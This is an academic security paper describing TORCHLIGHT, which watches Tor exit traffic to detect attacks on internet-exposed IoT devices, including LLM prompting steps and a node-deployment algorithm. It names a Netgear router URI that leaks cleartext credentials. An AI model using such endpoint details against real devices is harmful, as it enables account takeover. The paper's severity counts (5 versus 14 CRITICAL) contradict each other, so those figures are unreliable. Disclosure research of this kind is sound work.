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Abstract

The rapidly expanding Internet of Things (IoT) landscape
is shifting toward cloudless architectures, removing reliance
on centralized cloud services but exposing devices directly
to the internet and increasing their vulnerability to cyberat-
tacks. Our research revealed an unexpected pattern of sub-
stantial Tor network traffic targeting cloudless IoT devices,
suggesting that attackers are using Tor to anonymously ex-
ploit undisclosed vulnerabilities (possibly obtained from un-
derground markets). To delve deeper into this phenomenon,
we developed TORCHLIGHT, a tool designed to detect both
known and unknown threats targeting cloudless IoT devices
by analyzing Tor traffic. TORCHLIGHT filters traffic via spe-
cific IP patterns, strategically deploys virtual private server
(VPS) nodes for cost-effective detection1, and uses a chain-of-
thought (CoT) process with large language models (LLMs)
for accurate threat identification.

Our results are significant: for the first time, we have
demonstrated that attackers are indeed using Tor to conceal
their identities while targeting cloudless IoT devices. Over
a period of 12 months, TORCHLIGHT analyzed 26 TB of
traffic, revealing 45 vulnerabilities, including 29 zero-day
exploits with 25 CVE-IDs assigned (5 CRITICAL, 3 HIGH,
16 MEDIUM, and 1 LOW) and an estimated value of ap-
proximately $312,000. These vulnerabilities affect around
12.71 million devices across 148 countries, exposing them
to severe risks such as information disclosure, authentication
bypass, and arbitrary command execution. The findings have
attracted significant attention, sparking widespread discussion
in cybersecurity circles, reaching the top 25 on Hacker News,
and generating over 190,000 views.

∗Corresponding author: Prof. Zhen Ling of Southeast University, China.
1Due to space constraints, additional details can be found in the extended

version of this paper available on arXiv: https://arxiv.org/abs/2501.
16784.

1 Introduction

The landscape of Internet of Things (IoT) devices has evolved
significantly, with projections estimating that by 2030, there
will be over 32.1 billion IoT devices [40]. This growth is
driving a significant shift towards cloudless IoT architectures,
which are increasingly favored for their scalability and cost-
efficiency. Unlike traditional cloud-centric models, cloudless
IoT devices operate without relying on centralized cloud ser-
vices, enabling direct communication over the internet. This
shift not only enhances direct control and reduces latency
but also alleviates user concerns regarding data breaches and
other security vulnerabilities commonly associated with cloud
service providers [41, 15, 18]. However, this is also a double-
edged sword: the direct exposure of these devices to the in-
ternet makes them prime targets for cyber attacks, which can
have severe and far-reaching consequences. In 2023, vulnera-
bilities in Akuvox smart intercom systems were discovered,
allowing hackers to remotely spy on users via their cloud-
less devices, infringing on personal privacy and security [42].
The challenge of rapidly and effectively identifying and pin-
pointing vulnerabilities in cloudless devices has emerged as a
major research focus in recent years.

Our research was initiated by an unexpected discovery:
while analyzing the traffic on the Tor (The Onion Router)
network [34], we discovered a substantial volume directed
towards cloudless IoT devices. Tor is a decentralized net-
work that enables anonymous communication over the in-
ternet. While Tor is celebrated for its anonymity capabili-
ties, it is rarely used for accessing IoT devices due to the
complexities it introduces, such as additional latency and
obscured IP addresses which can complicate access control
and disrupt real-time operations. This raises urgent questions
about why such devices are accessed anonymously through
Tor? A closer examination into traffic involving a Netgear
DG834Gv5 router uncovered a zero-day vulnerability expos-
ing sensitive user information in plaintext. This scenario
suggests a troubling possibility: hackers may have access to
undisclosed vulnerabilities—possibly obtained from under-
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ground markets—that they can use to target users. However,
due to the risk of exposing their identities, they are wary of
launching direct attacks over the internet. To stay under the
radar, they utilize tools like Tor to exploit these vulnerabilities
while maintaining anonymity. Therefore, if this is true, by an-
alyzing the traffic passing through the Tor network, we could
potentially identify the vulnerabilities that these attackers are
actively exploiting.

To validate this observation, we propose to detect both
known and unknown threats targeting cloudless IoT devices
by analyzing Tor traffic. However, this is more complex than
it appears. We face multiple challenges: First, detecting Tor
traffic is challenging due to limited network resources (as we
opt for more cost-effective options such as VPS, which typi-
cally have restricted capacities) and the risk of network bans.
Second, low-bandwidth VPS nodes struggle to be selected
in the Tor network, necessitating a strategic balance of cost,
bandwidth, and deployment to improve observation chances.
Third, the sheer scale of traffic makes manual review imprac-
tical, while the diversity of cloudless IoT devices and attack
methods further complicates the identification of attacks.

We designed TORCHLIGHT, which addresses these chal-
lenges by leveraging domain-specific insights. First, Tor traf-
fic patterns are characterized by specific IP addresses (Internal
traffic involves Tor nodes for both source and destination IPs,
while exit traffic involves only one). By using those pat-
terns, Tor-related traffic can be filtered quickly even within
the resource-limited VPSs. Second, by analyzing the Tor
source code and weighted bandwidth algorithm, we derived
the probability of attackers choosing our exit nodes and the
required average time. Our strategy then optimizes cost, band-
width and node count to achieve the desired probability of
detecting malicious traffic. Finally, LLMs [47] such as Chat-
GPT are employed to identify potential attack traffic from IoT
devices. However, due to potential hallucinations in model
responses, a structured five-step chain-of-thought (COT) pro-
cess is implemented to accurately confirm the source of IoT
traffic and differentiate between legitimate and attack traffic.

Our system, TORCHLIGHT, has significantly advanced
the understanding of IoT vulnerabilities accessed through
Tor. Our findings are striking: for the first time, we have
demonstrated that many attackers are indeed using Tor to hide
their identities while targeting cloudless IoT devices. We
analyzed 26 TB of traffic over 12 months and revealed 45
vulnerabilities, including 29 new zero-day exploits for which
25 CVE-IDs have been assigned. Among these 25 CVEs, 5
are rated as CRITICAL, 3 as HIGH, 16 as MEDIUM, and 1
as LOW in severity. The market value of these vulnerabil-
ities is estimated at approximately $312,000, according to
VulDB [45]. These vulnerabilities impact about 12.71 million
devices in 148 countries such as US and China, exposing them
to severe security risks such as information disclosure, au-
thentication bypass, and arbitrary command execution. Over
90,047 attack attempts have been recorded.

Table 1: Comparison of Cloud-Centric and Cloudless IoT
Feature Cloud-Centric Cloudless

Relies on Cloud Server ✔ ✗
Direct Internet Exposure ✗ ✔
Remote Access via Cloud ✔ ✗
Privacy Concerns with Cloud ✔ ✗
Device Computational Capacity ✗ ✔
Increased Direct Security Risks ✗ ✔

Contribution. We make the following major contributions:

• New Discovery: For the first time, we have provided
clear evidence that numerous attackers actively use the
Tor network to obscure their identities and activities
while specifically targeting cloudless IoT devices.

• Novel Tool and Techniques: We implemented the
TORCHLIGHT system, which is capable of collecting,
identifying and analyzing attacks against cloudless IoT
devices in an open-world scenario. By analyzing the
latest Tor source code, we strategically deployed VPS to
increase the chances of selecting nodes for cost-effective
observation of malicious traffic. We also used a five-step
COT methodology with LLMs for IoT traffic identifica-
tion and attack detection.

• Striking Results and Security Implications: TORCH-
LIGHT revealed 45 vulnerabilities, including 29 zero-day
exploits with 25 assigned CVE-IDs, 14 of which are
classified as CRITICAL. The combined market value is
estimated at approximately $312,000 by VulDB. These
vulnerabilities affect around 12.71 million devices across
148 countries (e.g., China, the U.S.), exposing them to
risks like information disclosure, authentication bypass,
and arbitrary command execution. Those vulnerabilities
garnered significant attention, sparked widespread dis-
cussion in cybersecurity media, surging into the top 25
on Hacker News and generating over 190k views [36,
43, 35, 22].

2 Background

2.1 IoT Services
The IoT Services are evolving with two distinct architectural
paradigms: Cloud-Centric IoT and Cloudless IoT. Cloud-
Centric IoT leverages cloud servers to facilitate communica-
tion among IoT devices, particularly those located behind a
NAT (Network Address Translation). In contrast, Cloudless
IoT eliminates the need for cloud intermediaries, enabling
devices to communicate directly over the internet. As shown
in Table 1, we present a comparative overview of these two
architectures.

Cloud-Centric IoT. A typical Cloud-Centric IoT system
consists of three primary components: IoT device, controller,



and cloud server. The IoT device, with its embedded sensors
and software, collects and transmits data. It is generally be-
hind broadband routers using NAT/PAT within a local home
network. The controller, typically a PC or smartphone with
a dedicated frontend, can directly send control commands to
the IoT device if within the same local network. However,
communication becomes challenging when the controller and
IoT device are not on the same network, necessitating the
use of the cloud server as an intermediate relay. Moreover,
given the limited capabilities of some IoT devices, they often
depend on the cloud server for data processing and storage.

Despite these benefits, cloud servers also introduce security
and reliability concerns. They usually involve uploading sen-
sitive user data, and some cloud providers have documented
privacy protection failures, leading to data breaches or unau-
thorized access [15, 18]. Moreover, the reliability of cloud
services remains uncertain, as some providers may go out of
business [41].

Cloudless IoT. These issues have given rise to cloud-
less IoT, where devices are directly exposed to the inter-
net, allowing users to access their devices remotely with-
out cloud. Cloudless IoT devices, such as network storage
devices, surveillance recorders, and routers, typically have
substantial computational capacity, enabling them to offer a
range of remote services without relying on cloud servers. At
a high level, the cloudless services provided by these devices
can be grouped into four primary categories: (1) device in-
formation services, enabling the query of details about the
devices (e.g., model, type, and manufacturer information); (2)
device data access services, which may involve storing sen-
sitive user credentials such as passwords and usernames; (3)
device control services, enabling remote clients to manipulate
the devices; and (4) file access services, allowing clients to
retrieve or download files.

2.2 Tor Network

Tor [34] is an anonymous communication system designed
to protect users’ communication privacy. The Tor network
consists of three types of nodes: onion proxies (OPs), onion
nodes/routers (ORs), and directory servers, as shown in Fig-
ure 1. To use Tor, a user first installs an OP, which acts as a
local proxy, relaying data between applications and the Tor
network. The OP then connects to directory servers that main-
tain information about all ORs on the Tor network. ORs are
voluntarily deployed by users worldwide and are responsible
for relaying data on behalf of users.

We now describe how Tor ensures anonymous communica-
tion. OP first retrieves information about ORs from directory
servers. After obtaining the OR information from the direc-
tory servers, the OP selects three ORs to establish a three-hop
path known as a circuit, which is then used for communication
with a remote server. The ORs within the circuit are referred
to as entry, middle, and exit nodes based on their positions.

Server

Directory Servers

Entry (OR1)

Middle (OR2)

Exit (OR3)Client

Tor Network

Figure 1: Tor Network

The data transmitted through the circuit from the OP to the
server is encrypted by the OP using an onion-like nested en-
cryption, with each layer decrypted sequentially at each OR
along the circuit. In the reverse direction, data is encrypted
in layers at the exit node and decrypted sequentially at each
OR along the circuit. Consequently, even if one OR in the
circuit is compromised, the attacker cannot access the data’s
content or correlate the communication between the user and
the server. This process enables anonymous communication
between users and remote servers on the Tor network.

Based on onion encryption and routing process, Tor traffic
can be categorized as internal traffic (i.e., Tor relay traffic) or
external traffic (i.e., Tor exit traffic). Internal traffic, transmit-
ted between OR and OR or between OP and OR, is encrypted.
In contrast, external traffic flows between exit nodes and
servers. If end-to-end encryption is not implemented between
users and servers, the external traffic remains unencrypted.

3 Problem Statement and Threat Model

3.1 Problem Statement
Motivation: While Tor is a versatile tool that provides
anonymity for various scenarios, it is not typically used
to access IoT devices. This is due to several factors. IoT
devices are usually intended to be accessed by specific
devices or users. Accessing these devices through Tor
introduces additional complexity because Tor obscures the
client’s real IP address, making access control more difficult.
Additionally, Tor’s method of routing data through several
nodes to anonymize the source introduces significant latency.
Many IoT applications require low-latency communication
for real-time control, monitoring, or feedback, often within
a local environment. The additional delay from using
Tor can disrupt these operations, making it unsuitable for
time-sensitive IoT tasks.

Therefore, when we detect IoT traffic on the Tor net-
work—identified by specific strings such as device models
or device types—it raises significant concerns (Our lab op-
erates multiple exit nodes on the Tor network, where the
traffic is unencrypted): Why would users accessing IoT de-
vices need to conceal their traffic using Tor? What underlying
activities might necessitate such measures? To investigate



further, we conducted a targeted analysis of traffic associ-
ated with a cloudless device Netgear DG834GV5 router and
observed a specific pattern of requests directed at this de-
vice on Tor. The traffic consistently accessed a URI labeled
BSW_wsw_summary.htm, with responses revealing sensitive
information, including usernames and passwords, stored in
cleartext. This exposure constitutes a critical vulnerability,
leading to the assignment of CVE-2024-4235, confirming
a cleartext storage flaw in the device’s firmware. Attackers
could exploit this flaw to gain unauthorized administrative
access, compromising the security of the affected devices.

Revisiting the earlier question: Why would users accessing
IoT devices need to conceal their traffic using Tor? What
underlying activities could drive such a need? This sce-
nario could reflect a concerning reality: hackers may pos-
sess undisclosed vulnerabilities—potentially acquired from
underground markets—that they can leverage to target users.
However, they are cautious about directly attacking devices
over the internet, as it risks revealing their identity. To avoid
detection, they turn to tools like Tor to exploit these vulner-
abilities anonymously. Consequently, if we can analyze the
traffic passing through Tor, we might uncover the vulnerabili-
ties being actively exploited by these malicious actors.

Problem Statement. While this discovery was concerning,
it likely represents only a fraction of a larger, more pervasive
issue. The fact that cloudless IoT devices are being accessed
through Tor suggests that other devices could be similarly vul-
nerable, potentially exploited under the cover of anonymity.
The implications of this are far-reaching, highlighting the
need for comprehensive research into the intersection of IoT
security and anonymous networks. Therefore, our research
aims to uncover those vulnerabilities (which are actively ex-
ploited by hackers yet remain hidden from the public eye) and
develop strategies to mitigate the risks posed by these covert
activities. We plan to propose the development of a frame-
work designed to detect both known and unknown threats
targeting cloudless IoT devices by analyzing the Tor traffic.

3.2 Threat Model

Remote services, as previously defined, may contain zero-day
or N-day vulnerabilities that attackers can leverage to compro-
mise the device, including security flaws such as command
injection, hardcoded credentials, authentication bypass, and
cleartext storage, that attackers can exploit to compromise
the device. While there could be numerous attacks target-
ing at the cloudless devices by exploiting the vulnerabilities
(e.g., DoS attacks), the objective of this work is to identify
vulnerabilities that threaten the security of services offered
by cloudless IoT devices. Consequently, the corresponding
attacks can be categorized into four types:

Reconnaissance Attacks. This attack targets the device
information services. Although it may not work indepen-
dently, it significantly impacts the security of the devices. For

instance, the attack can identify the devices and search for
vulnerabilities that are specific to this type of device, subse-
quently launching various attacks if the identified vulnerabili-
ties remain unpatched on the device.

Data Manipulation. This attack targets the data access
services, involving unauthorized access to sensitive informa-
tion that IoT devices collect, process, or transmit. It includes
actions like eavesdropping, where attackers intercept unen-
crypted data, as well as modifying or deleting that data.

File Manipulation. Streaming and file transfer services
can be exploited for data exfiltration. Poorly implemented
access controls may enable attackers to download or modify
sensitive files, resulting in significant data breaches and loss
of sensitive information.

Device Manipulation. This attack targets the device con-
trol services. Control services, often relying on protocols such
as Telnet or proprietary protocols, are vulnerable to unautho-
rized access due to weak authentication mechanisms, which
may lead to crucial damage since attackers may maliciously
manipulate device functionality.

As passive observers on a Tor exit router, we are unable
to detect data manipulation that involves modifications or
deletions. This limitation arises from our lack of knowledge
regarding the original state of the data, making it impossible
to ascertain whether it has been altered.

4 Challenges and Solutions

Our research aims to uncover vulnerabilities actively ex-
ploited by hackers but hidden from the public eye—a chal-
lenging endeavor. First, it requires deploying numerous Tor
exit nodes, which comes with risks like potential bans in
sensitive environments. While VPS hosting can help avoid
these issues, it also introduces limitations in computational
power and bandwidth, especially given the cost of higher-
performance VPS options. Identifying Tor traffic on resource-
constrained VPS nodes is difficult (C-1). Second, the Tor
network’s traffic routing favors nodes with higher bandwidth,
further reducing the likelihood of our low-bandwidth VPS
nodes being selected (C-2). Lastly, the unpredictability and
diversity of IoT devices, along with the wide range of attack
methods, complicates the reliable identification of malicious
traffic (C-3).

(C-1) Detection of Tor Traffic with Limited Resources.
To collect and analyze Tor traffic, we first need to deploy
Tor exit nodes. However, deploying a Tor exit node within
a campus or corporate network can lead to the banning of
these nodes, as the exit node may be held liable for malicious
activities (such as hacking or phishing) or for the unauthorized
downloading of copyrighted content. To mitigate the risk of
banning, we opt for Virtual Private Server (VPS) hosting
through providers that explicitly allow Tor nodes under their
terms of service. This choice significantly reduces the risk of
account suspension due to policy violations.



However, a typical VPS has limited bandwidth, storage,
and computing power. While more powerful VPS options are
available, they come at a higher financial cost. For instance, a
relatively powerful VPS with 16GB of RAM, 8 CPUs, and
350GB of storage costs over $96 per month, whereas a basic
VPS with one CPU, 2GB of RAM, and 50GB of storage costs
only $12 per month. This presents a challenge: how can we ef-
fectively identify Tor internal traffic on a resource-constrained
VPS? At a high level, Tor internal traffic, as previously de-
fined, typically exhibits recognizable characteristics, such as
specific headers or packet sizes, which can be detected using
Deep Packet Inspection (DPI) tools. Additionally, machine
learning methods can analyze these patterns to distinguish
internal traffic from external traffic. However, these solutions
require considerable computational and storage resources,
which are not feasible in our study.

(S1) Identifying Tor Traffic with Direction Analysis
(§ 5.1) Our analysis reveals that for Tor network traf-
fic, both the source and destination IP addresses of internal
traffic, in both inbound and outbound directions, corre-
spond to Tor nodes (Tor nodes can be identified by query-
ing the consensus document provided by directory servers).
In contrast, external traffic is characterized by either the
source or destination IP address belonging to the target
server. Therefore, internal traffic and exit node traffic can
be reliably identified when both the source and destination
IP addresses are recognized as ORs. To efficiently filter
traffic involving Tor nodes, we use iptables with its ipset
extension, which allows us to manage a dynamic set of IP
addresses directly within the Linux kernel for fast lookups.

(C-2) Node Selection Probability on Limited Bandwidth.
In the Tor network, traffic routing is strategically optimized
by clients who preferentially select nodes based on their band-
width capacities. This weighted selection process inherently
favors nodes with substantial throughput, as they are bet-
ter equipped to manage larger volumes of traffic efficiently,
thereby minimizing network bottlenecks and delays. How-
ever, this system presents a significant challenge for nodes
with limited bandwidth. These nodes, due to their compar-
atively modest throughput, often struggle to be chosen as
exit nodes, especially in scenarios involving attacks targeting
IoT devices that operate without cloud support. Although
it is possible to enhance node selection likelihood by lever-
aging higher-bandwidth VPS or increasing the number of
VPS used, this approach requires careful consideration of
cost-effectiveness and network integrity.

(S2) Strategic VPS Deployment for Enhanced Selection
Probability (§5.2) We have devised a deployment strategy
for our VPS to mitigate the inherent limitations related to
the scarcity of nodes and bandwidth. By analyzing the Tor
source code and Tor weighted bandwidth algorithm, we de-
rived the probability Pc(b) that attackers choose our exits to
relay malicious traffic, as well as the required average time
Q. Building on those constraints, our strategy efficiently
balances cost, bandwidth, and node count to achieve a de-
sired probability of observing malicious traffic, adjusting
node selection dynamically based on the network’s state
and budget constraints.

(C-3) Identification of Diversified Threats. Identifying at-
tacks targeting cloudless IoT devices at exit nodes presents an
open-world challenge, primarily due to the unpredictability of
which devices will be targeted and how they will be attacked.
First, the diversity of the cloudless IoT devices themselves
poses a significant challenge. With a wide range of vendors,
numerous types, and various models, it becomes extremely
difficult to identify the traffic generated by these devices us-
ing simple methods in an open-world scenario. Each device
could behave differently, and the traffic it generates may vary,
making it challenging to create a one-size-fits-all recognition
method. Second, the attackers may employ a wide variety of
attack methods, which encompass both known and unknown
threats, and they exhibit diverse behavior patterns. While
our threat model intentionally narrows the scope of potential
attacks, these attacks can still exhibit a diverse range of pat-
terns. This unpredictability is exacerbated by the fact that
attackers continually adapt their tactics to exploit new vul-
nerabilities, making it nearly impossible to anticipate every
potential attack vector. The combination of diverse devices
and sophisticated, evolving attack strategies makes it partic-
ularly challenging to accurately identify and mitigate these
threats in an open-world context.

(S3) LLM-based Attack Traffic Recognition (§5.3) We
employ large language models, such as ChatGPT, to iden-
tify responses from IoT devices and determine if the traffic
constitutes an attack targeting cloudless IoT devices. How-
ever, the issue of model hallucination significantly hampers
the effectiveness of merely requesting the model to pin-
point IoT-originated responses. To address this, we have
developed a five-step chain-of-thought process designed to
reliably confirm the origin of IoT traffic.

5 Design of TORCHLIGHT

We introduce TORCHLIGHT, a system designed to collect,
discover, and analyze IoT attacks at Tor exits. As shown in
Figure 2, TORCHLIGHT consists of three components:

• Tor Exit Traffic Collector captures and saves external
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Figure 2: The Architecture of TORCHLIGHT

traffic in real-time on our VPS with limited resources.
For the traffic that is saved, it further filters out irrelevant
traffic and extracts server responses.

• Deployment Planner optimizes the allocation of VPS re-
sources to enhance the effectiveness of node deployment
for traffic monitoring. It analyzes Tor network states, as
well as VPS metrics, to forecast node requirements. This
strategic resource management ensures that our system
remains cost-efficient while maximizing the detection
and analysis of IoT-related malicious activities.

• LLM-based IoT Traffic Analyzer leverages a LLM to de-
termine if the response data originates from IoT devices,
thereby identifying IoT traffic. Then, given the com-
plex semantics of attacks, it initially prompts the LLM
to identify three types of attacks. And further in-depth
analysis of the behavior and spatio-temporal distribution
of attacks is conducted.

5.1 Tor Exit Traffic Collector
The Tor Exit Traffic Collector captures and stores external traf-
fic in real-time on our resource-limited VPS (Step I), then fil-
ters out irrelevant data and extracts server responses (Step II).

Step I: Collecting External Traffic. In this step, we
collect the external traffic. We focus on collecting only
external traffic for two key reasons. First, external traffic
remains unencrypted if no application layer end-to-end
encryption is applied, making it accessible for analysis.
Second, onion-encrypted internal traffic would consume a
significant amount of storage space (approximately 50%),
which is prohibitively expensive.

Table 2: Tor Exit Router Traffic Flow

Traffic Type
Traffic Direction

Inbound Outbound

Src. IP Dest. IP Src. IP Dest. IP

Internal OR OR OR OR
External Server OR OR Server

To distinguish between these types of traffic, as outlined
in Table 2, we define traffic flowing into Tor exit nodes as
inbound and traffic in the opposite direction as outbound. For
inbound traffic, the distinction between internal and exter-
nal traffic is based on the source addresses: internal traffic
originates from OR (Onion Router) addresses, while external
traffic comes from server addresses. In the outbound direction,
the distinction is based on the destination addresses: internal
traffic targets OR addresses, whereas external traffic targets
server addresses. By differentiating (Src. IP, Dest. IP) pairs
according to the traffic direction (inbound or outbound), we
can effectively filter out internal traffic and focus on capturing
the relevant external traffic.

However, this is not a trivial task, given that there are over
7,000 discrete IP addresses involved [34]. In a traditional BPF
(Berkeley Packet Filter) expression, each condition requires
execution at the kernel level, which necessitates a context
switch for each packet at every filter condition. This results
in significant kernel overhead. Consequently, filtering a large
number of non-contiguous IP addresses using BPF expres-
sions becomes highly inefficient. To overcome this challenge,
we use the ipset extension of the iptables firewall component
to maintain a set of IP addresses in the Linux kernel. This
ipset utilizes a hash structure for fast and efficient access.



Here are the steps: (i) We periodically fetch consensus files
from directory servers, extracts Tor node IPs, and updates
them to our ipset. (ii) We add rules (the rules are designed
based on the discussion above) to iptables that redirect traffic
in the inbound direction with source addresses not belonging
to our ipset, and traffic in the outbound direction with desti-
nation addresses not belonging to our ipset, to NFQUEUE.
NFQUEUE, which stands for Netfilter Queue, is a kernel and
user-mode module used in iptables to manage network pack-
ets. Through such a procedure, we can then identify all the
external traffic. (iii) Our packet sniffer captures these queued
packets (i.e., external traffic) and saves them on the VPS.
Eventually, these packets are transmitted back to our local
NAS located at our campus via an encrypted SSH channel for
future references.

Step II: Filtering Out Irrelevant Data. In this step, we
further filter out the data that is irrelevant to IoT devices to
reduce the burden of our analysis. To that end, (i) we filter traf-
fic (stored on local NAS) for cloudless IoT devices based on
commonly used remote service protocols: HTTP for frontend
services, RTSP for streaming services, FTP for file transfer
services, and Telnet for control services; (ii) we empirically
filter out data that is irrelevant from three perspectives:

• Top 1M Sites: Users may use Tor to access clear web
sites and services, which are not within the scope of our
analysis. We filter out traffic to these clear websites by
comparing the Host header against the domains listed in
Cisco Umbrella’s top 1 million domains [8].

• Autonomous System Number (ASN): Since hosting
providers’ autonomous systems primarily support server-
based infrastructure designed for web hosting, cloud ser-
vices, and large-scale enterprise needs, they are defini-
tively not associated with IoT devices. Utilizing ASN
information provided by IPINFO [25], we exclude traffic
associated with hosting providers.

• Status Responses: For HTTP, we discard error re-
sponses indicated by status codes such as 5XX, which
generally do not contain IoT-related information. For
Telnet, we filter out responses containing the Interpret
As Command (IAC, 0xff) sequence, as it signifies that
the subsequent byte is a Telnet command, excluding the
possibility of containing device-specific data.

5.2 Deployment Planner
Deployment Planner optimizes the allocation of VPS re-
sources to enhance the effectiveness of node deployment
for traffic monitoring. Building on the concept of low-cost
deployment, we examine the use of low-bandwidth nodes as
Tor exits to detect malicious activities targeting cloudless IoT
devices. Two factors guide our approach: (i) Probability: The
large number of cloudless IoT devices makes them frequent

targets for attackers using repetitive techniques, generating
substantial malicious traffic and numerous Tor circuits. Our
model shows that even low-bandwidth nodes are likely to be
selected due to this volume. (ii) Temporality: Extended moni-
toring with multiple low-bandwidth nodes compensates for
their limitations, effectively capturing a range of malicious
traffic. This indicates that low-cost nodes can enhance the
detection of attacks on IoT devices within the Tor network.

Therefore, as shown in our Algorithm 1, our deployment
planner first computes the bandwidths for entry and directory
nodes and determines weights based on network conditions,
sorting nodes by cost-effectiveness (Step I). Next, it selects
the most cost-effective nodes within budget, updating the
deployment plan until the desired probability is reached or
the budget is exhausted (Step II).

Step I: Calculating Weights and Sorting the Nodes.
As shown in line 2, line 3 and line 5, the step takes real
work Tor network states to compute the bandwidths E (the
bandwidth of entry nodes) and D (the bandwidth of entry
nodes), and determines weights Wee and Wed based on three
distinct network conditions. Subsequently, We orders the
node options according to their cost-effectiveness, which is
determined by the bandwidth offered per unit price.

Step II: Formulating the Deployment Plan and Deploy-
ing Nodes. As shown in line 11, line 14, line 15, line 16 and
line 17, the deployment planner then calculates the maximum
number of the most cost-effective nodes that can be acquired
within our budget. These nodes are incrementally added to the
Plan, with corresponding updates to Cost, Bandwidth, and
the probability Pc(b). The same calculation process is then ap-
plied to the nodes with the next best cost-effectiveness. This
procedure continues until we either achieve the desired proba-
bility Desired_PC or exhaust the allocated budget. Then, for
deploying nodes, we develop a shell script to automate the
steps required for node deployment. Based on the deploy-
ment plan outlined in the Plan, the script allows for direct
deployment of new machines if there are changes to the Tor
network states, budget or Pc(b).

5.3 LLM-based IoT Traffic Analyzer

LLM-based IoT Traffic Analyzer leverages a LLM to deter-
mine if the response data originates from IoT devices, thereby
identifying IoT traffic and the possible attacks. This approach
is well-suited for the task, as LLMs excel at processing and
understanding unstructured text, enabling effective analysis of
the diverse and often complex patterns found in plaintext traf-
fic. Specifically, it adopts a five-step chain-of-thought (COT)
method: First, it preliminarily identify IoT names within the
response data (Step I). Second, it re-verifies the IoT entities
to address potential hallucinations (Step II). Third, it lever-
ages a search-engine-based retriever to complete potentially
missing vendor and type names based on the identified model
names (Step III). Please note that the first three steps are all



Instruction:
You are a highly intelligent and accurate IoT domain Named-entity recognition(NER) 
system. You take passage as input and your task is to recognize and extract specific types 
of IoT domain named entities in that given passage and classify into a set of following 
predefined entity types:
Desired Format:
['VENDOR', 'TYPE', 'MODEL']
Your output format is [{'T': type of entity from predefined entity types, 'E': entity in the 
input text},...] form. Afterward, you need to tell me the reasons why you think they are the 
target entities. You must provide the right answer.
Shot-1:
Input: "……var talkTypes='2&1&4&'; var devType='DHI-XVR4116HS'; var userInfo='This is 
user info!'; var streamCap=19; var rtspport = 554; var ClientType = 0; var capTcpPort = 
37777; var radius = false; var httpPort = 80; "
Output: [{'E': 'DHI-XVR4116HS', 'T': 'MODEL'}]
The DHI-XVR4116HS is a digital video recorder 
…… ……
(+more few-shot examples)
Input: <RESPONSE_DATA>
Output: 

Step I Prompt

(a) Essential part of the prompt for Step I.

Previous
Step [{'E': '0-b05-5c8', 'T': 'MODEL'}]

                 No, the word "0-b05-5c8" in the given sentence is not a 
model entity. It appears to be an ETag value in the HTTP response 
header, used for caching purposes, but it does not represent a specific 
IoT model or device.

Answer

Is the word "0-b05-5c8"in the given sentence a model entity? 
Please answer with yes or no. (+few-shot examples)
Prompt

Step III

Input
Response

(b) An example of device entity recognition hallucination and the corresponding
result of Step II.

Step IV

[{'E': 'SONY', 'T': 'VENDOR'}, {'E': 'CAMERA ', 'T': 'Type'}, {'E': 'ILCE-7M3', 'T': 'MODEL'}]Previous
Step

No, The mention of "camera memo (ILCE-7M3)" within the HTML content suggests a reference to
the camera model, but this alone does not indicate that the traffic originates from the camera itself.
It's more indicative of a webpage mentioning or discussing the camera, rather than traffic
generated by the camera's operations.A

ns
w

er

Is the traffic generated by SONY ILCE-7M3 CAMERA device? Please answer yes or no, and provide 
reasons. 
(+few-shot examples)P

ro
m

p
t

(c) Personal blog containing SONY ILCE-7M3 Camera, yet not originating from IoT devices. ’Previous Step’ indicates the outcomes derived from the initial three
steps, while ’Step IV’ denotes the use of a LLM to verify if these input were generated by IoT devices.

Figure 3: LLM-based IoT Traffic Identification Examples and Prompts

used to confirm or identify the names of IoT devices within
the traffic. Then, it ensures that the traffic truly originates
from IoT devices (Step IV). Finally, it identify and analyzes
attacks targeting cloudless IoT devices (Step V).

Step I: Recognizing Device Names In Traffic. This
step utilizes a LLM to preliminarily identify IoT names in
responses, and those responses are collected for future refer-
ences (It is important to note that the presence of an IoT device
name does not necessarily indicate IoT traffic; the specific ap-
proach to address this issue is detailed in Step IV). To ensure
the LLM generates extractable text based on the responses,
we adopt in-context few-shot learning [39, 7] within prompt
engineering domain. Few-shot serves a two-fold purpose:
enhancing the understanding of input queries by the LLM and
facilitating the generation of specified output formats.

As depicted in Figure 3a, we create a prompt for recog-
nizing IoT device names. Within this prompt, we outline
the role of the LLM as a NER system tailored for the IoT
domain. This framing establishes context and clarifies the
expected capabilities of the LLM. We meticulously specify
the desired output format: a list of dictionaries wherein each
dictionary includes ’T’ (type of entity) and ’E’ (entity). Then,
we leverage seven shots examples to mitigate the risk of the
LLM overly adhering to a singular example. When in use, the
response data should be inserted into <RESPONSE_DATA>.

Step II: Self-Verifying for Name Confirmation. This
step prompts the LLM to re-verify the IoT entities it has recog-
nized previously, addressing the hallucination problem where
LLMs incorrectly annotate irrelevant inputs as IoT entities.
By asking the LLM to review its own identifications [27],
it can correct these errors. Similarly, we employ in-context
learning to enhance the LLM’s understanding of the task,
further preventing inaccuracies.

Step III: RAG for Incomplete Name Completion. This
step leverages the Retrieval-Augmented Generation (RAG)
concept [28], which enhances LLMs with a retrieval sys-
tem, to complete potentially missing vendor and type names
based on the identified model names. This integration allows
the LLM to efficiently pull relevant data from large corpora,
enabling LLMs to access up-to-date, non-parametric mem-
ory without retraining. Such an approach is exceptionally
useful for recognizing IoT entities, which are commonly ref-
erenced across various webpages like official websites and e-
commerce sites—all of which are routinely indexed by search
engines [16].

In practice, this retrieval mechanism harvests latent docu-
ments from search engines—such as titles and snippets from
webpages—tailored to previously identified model names.
For example, the LLM identified the device model ‘IPC-
HFW2231S’ in the previous steps but lacked vendor and



Algorithm 1: Tor Exit Node Deployment Strategy
Input:
Tor_Network_State: Current status of the network
Node_Opts (List): Each entry is a node_option
containing bandwidth and cost
Desired_PC: The desired probability Pc(b) of
observing malicious traffic through the deployed nodes
M_Budget: Maximum allowable budget for node
deployment
c: Number of circuits each node is expected to use
Output: Plan, Cost, Bandwidth, PC

1 Procedure
CalculateWeights(Tor_Network_State):

2 E,D← total bandwidths calculated;
3 Wee,Wed← determined by three distinct network

conditions;

4 Procedure SortNodeOptions():
5 Sort Node_Opts by cost per bandwidth;

6 Procedure Initialize():
7 Plan← empty, Cost← 0.0;
8 Bandwidth← 0.0,PC← 0.0;

9 Procedure DeployNodes():
10 for each node_option in Node_Opts do
11 max_node←

⌊
M_Budget−Cost
node_option.cost

⌋
;

12 if max_node > 0 then
13 for i← 1 to max_node do
14 Add/update node in Plan;
15 Update Cost and Bandwidth;
16 Calculate Current_PC using:

Plan,E,D,Wee,Wed and c;
17 if Current_PC ≥ Desired_PC or

Cost ≥M_Budget then
18 return Plan,Cost,Bandwidth,PC;

